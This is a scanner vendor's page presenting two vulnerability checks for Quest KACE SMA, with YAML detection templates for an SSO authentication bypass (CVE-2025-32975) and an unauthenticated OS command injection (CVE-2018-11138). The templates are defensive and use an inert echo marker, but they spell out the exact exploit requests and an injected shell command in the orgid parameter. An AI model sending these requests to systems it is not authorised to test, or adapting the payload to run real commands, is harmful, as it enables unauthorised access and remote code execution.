KACE — 2 vulnerability checks
noctis ships 2 vulnerability checks for KACE, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Quest KACE SMA SSO Auth Bypass
| CVE | CVE-2025-32975 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/kace/CVE-2025-32975.yaml |
Tests Quest KACE SMA (K1000) for the SSO authentication bypass. Fingerprints the appliance via the X-Kace-Appliance header, then probes /ams/shared/api/security/login?sso=1 — a vulnerable appliance hands back a session token unauthenticated (200), a patched one answers 403. QoD 75.
How noctis detects it
- HTTP(S) request
GET / - Checks
fp_resp.headersforx-kace-appliance"?\s*:\s*"?K1000 - HTTP(S) request
GET /ams/shared/api/security/login?sso=1 - Checks
sso_resp.bodyforsessionId|NOCTIS_KACE→ finding QoD 75: SSO auth bypass confirmed — /ams/shared/api/security/login?sso=1 returned a session token unauthenticated: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-32975
- https://hunt.io/blog/cve-2025-32975-quest-kace-sma-open-directory-60-victims
- https://arcticwolf.com/resources/blog/cve-2025-32975/
Feed source — tests/vulnerabilities/kace/CVE-2025-32975.yaml
# Quest KACE SMA (K1000) SSO authentication bypass — CVE-2025-32975
#
# KACE K1000 appliances expose an X-Kace-Appliance: K1000 header on every
# response (passive fingerprint). Vulnerable versions contain a logic flaw in
# the SSO authentication handler that lets an unauthenticated attacker
# impersonate any user — including administrators — by manipulating SSO
# identity tokens, yielding full admin access and remote command execution on
# enrolled endpoints (used to compromise an MSP + 60 orgs, KEV).
#
# Affected: KACE SMA <= 13.0.384 / 13.1.80 / 13.2.182 / 14.0.340 P4 /
# 14.1.100 P3 — fixed in the next patch of each line.
#
# Detection (safe): fingerprint via the X-Kace-Appliance header, then probe
# the SSO login endpoint — a vulnerable appliance returns a session token
# without prior authentication (200), a patched one returns 403. QoD 75.
uid: 5d8e0f3d-a3d7-46ca-a841-b57317d9c463
name: "Quest KACE SMA SSO Auth Bypass (CVE-2025-32975)"
description: |
Tests Quest KACE SMA (K1000) for the SSO authentication bypass. Fingerprints
the appliance via the X-Kace-Appliance header, then probes
/ams/shared/api/security/login?sso=1 — a vulnerable appliance hands back a
session token unauthenticated (200), a patched one answers 403. QoD 75.
cves: [CVE-2025-32975]
cvss: 10.0
severity: critical
confidence_base: 0.25
tags: [quest, kace, sso, auth-bypass, kev]
category: auth-bypass
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-32975"
- "https://hunt.io/blog/cve-2025-32975-quest-kace-sma-open-directory-60-victims"
- "https://arcticwolf.com/resources/blog/cve-2025-32975/"
steps:
- id: init
action: set_var
var_name: kace_ok
var_value: false
# ── Step 1: fingerprint the KACE appliance via its response header ───────
- id: fingerprint
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fp_resp
- id: fingerprint-gate
action: match
source: fp_resp.headers
pattern: "x-kace-appliance\"?\\s*:\\s*\"?K1000"
condition: "fp_resp.status == 200"
on_match:
set_vars:
kace_ok: true
# ── Step 2: probe the SSO login endpoint ─────────────────────────────────
- id: sso-probe
action: http_request
method: GET
path: "/ams/shared/api/security/login?sso=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: sso_resp
condition: "kace_ok == true"
- id: confirm
action: match
source: sso_resp.body
pattern: "sessionId|NOCTIS_KACE"
condition: "kace_ok == true && sso_resp.status == 200"
on_match:
finding:
confidence_delta: 0.35
qod: 75
evidence: "SSO auth bypass confirmed — /ams/shared/api/security/login?sso=1 returned a session token unauthenticated: {{sso_resp.body}}"
stop: trueQuest KACE SMA download_agent_installer.php orgid OS Command Injection
| CVE | CVE-2018-11138 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/kace/CVE-2018-11138.yaml |
Tests Quest KACE System Management Appliance (K1000) <= 8.0.318 for the unauthenticated OS command injection in /common/download_agent_installer.php via the `orgid` GET parameter. Uses the command-substitution-collapse technique with a per-run random marker: `;echo NOCTIS$()<tok>` is injected, and a vulnerable appliance that executes the command collapses the empty `$()` and reflects the contiguous marker NOCTIS<tok> in its response. Inert (echo only, no file/command side effects, no OOB). QoD 97.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /common/download_agent_installer.php?orgid=1%3Becho%20NOCTIS%24%28%29{{tok}} HTTP/1.0 - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: Quest KACE download_agent_installer.php orgid command injection confirmed — injected ;echo NOCTIS$()<tok> and the appliance reflected the s…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-11138
- https://www.coresecurity.com/core-labs/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities
- https://www.exploit-db.com/exploits/44950
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11138.yaml
Feed source — tests/vulnerabilities/kace/CVE-2018-11138.yaml
# Quest KACE System Management Appliance pre-auth OS command injection — CVE-2018-11138
#
# KACE SMA (K1000) <= 8.0.318 exposes /common/download_agent_installer.php to
# anonymous users. The `orgid` GET parameter is concatenated unsanitised into a
# shell command, so a `;` terminator plus a command runs as the web server user
# (www) without authentication → unauthenticated RCE. CISA KEV (2022-03-25),
# known ransomware use. Core Security advisory + Metasploit module.
#
# Affected: Quest KACE SMA <= 8.0.318.
#
# Detection (safe, inert, no network callback): command-substitution-collapse.
# A per-run random marker NOCTIS<tok> is injected as `echo NOCTIS$()<tok>`; the
# empty `$()` is a real (empty) command substitution that a shell collapses to
# nothing, so a genuinely vulnerable appliance that actually runs the command
# reflects the two halves *contiguously* as NOCTIS<tok>. A server that merely
# echoes the request verbatim leaves `$()` in place (NOCTIS$()<tok>) and does
# not match; a server that reflects a constant marker fails the per-run gate.
# QoD 97 — confirmed command execution.
uid: 8a2a3f0b-e790-4fa8-a4c5-055b490a91fb
name: "Quest KACE SMA download_agent_installer.php orgid OS Command Injection (CVE-2018-11138)"
description: |
Tests Quest KACE System Management Appliance (K1000) <= 8.0.318 for the
unauthenticated OS command injection in /common/download_agent_installer.php
via the `orgid` GET parameter. Uses the command-substitution-collapse
technique with a per-run random marker: `;echo NOCTIS$()<tok>` is injected,
and a vulnerable appliance that executes the command collapses the empty
`$()` and reflects the contiguous marker NOCTIS<tok> in its response. Inert
(echo only, no file/command side effects, no OOB). QoD 97.
cves: [CVE-2018-11138]
cvss: 9.8
severity: critical
confidence_base: 0.25
tags: [quest, kace, rce, command-injection, auth-bypass, kev]
category: rce
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11138"
- "https://www.coresecurity.com/core-labs/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities"
- "https://www.exploit-db.com/exploits/44950"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11138.yaml"
steps:
# Step 1: mint a per-run random token (32 lowercase hex chars) and the marker.
# rand_hex(16) => 32 hex chars. The marker NOCTIS<tok> is what the collapsed
# command output must equal; it is unguessable so a constant-reflection mock
# (or any pre-baked page) cannot satisfy the gate below.
- id: mint-tok
action: script
code: 'rand_hex(16)'
store_as: tok
- id: mint-marker
action: script
code: '"NOCTIS" + tok'
store_as: marker
# Step 2: inject into orgid via a verbatim HTTP/1.0 request (tcp_connect) —
# the payload carries ; $ ( ) which reqwest would percent-normalise, and the
# scheme-aware tcp_connect wraps TLS automatically for https targets.
# Decoded orgid value: 1;echo NOCTIS$()<tok>
# %3B = ; %20 = space %24 = $ %28 = ( %29 = )
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET /common/download_agent_installer.php?orgid=1%3Becho%20NOCTIS%24%28%29{{tok}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
# Step 3: confirm. The regex requires NOCTIS immediately followed by 32 hex
# digits (so a verbatim-echo of NOCTIS$()<tok> fails), and the stridx gate
# requires this run's exact marker NOCTIS<tok> to be present (so a constant
# marker from a different run fails). Both must hold → genuine execution.
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "stridx(resp.banner, marker) >= 0"
on_match:
finding:
confidence_delta: 0.72
qod: 97
evidence: "Quest KACE download_agent_installer.php orgid command injection confirmed — injected ;echo NOCTIS$()<tok> and the appliance reflected the shell-collapsed per-run marker contiguously (unauthenticated RCE as www)"
stop: true